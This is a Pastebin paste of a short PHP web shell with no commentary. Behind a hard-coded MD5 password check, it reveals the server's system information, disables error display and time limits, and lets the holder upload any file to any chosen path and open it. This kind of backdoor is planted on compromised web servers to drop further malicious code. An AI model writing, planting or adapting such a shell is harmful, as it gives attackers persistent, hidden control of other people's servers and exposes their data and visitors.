Advertisement
Hectorss1

Untitled

Oct 14th, 2019
37,877
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. <?php
  2. session_start();
  3. @ini_set('output_buffering', 0);
  4. @ini_set('display_errors', 0);
  5. set_time_limit(0);
  6. ini_set('memory_limit', '64M');
  7. header('Content-Type: text/html; charset=UTF-8');
  8. if(isset($_SESSION['user']) and !empty($_SESSION['user'])){
  9. echo php_uname();
  10. $files = @$_FILES["files"];
  11. if ($files["name"] != '') {
  12. $fullpath = $_REQUEST["path"] . $files["name"];
  13. if (move_uploaded_file($files['tmp_name'], $fullpath)) {
  14. echo "<h1><a href='$fullpath'>Done! Open</a></h1>";
  15. }
  16. }echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="UPload"></form></body></html>';
  17.  
  18. }else{
  19. echo '<center>';
  20. echo '<form action="" method="post">';
  21. echo '<input type="text" name="user" size="50"><input type="submit" name="_login" id="_login" value="LOGIN"></form>';
  22. }
  23. if($_POST['_login'] == "LOGIN" and md5($_POST["user"])== '6606c84445dd79be7435250536bcef5e') {
  24. $_SESSION['user']='N45HT';
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement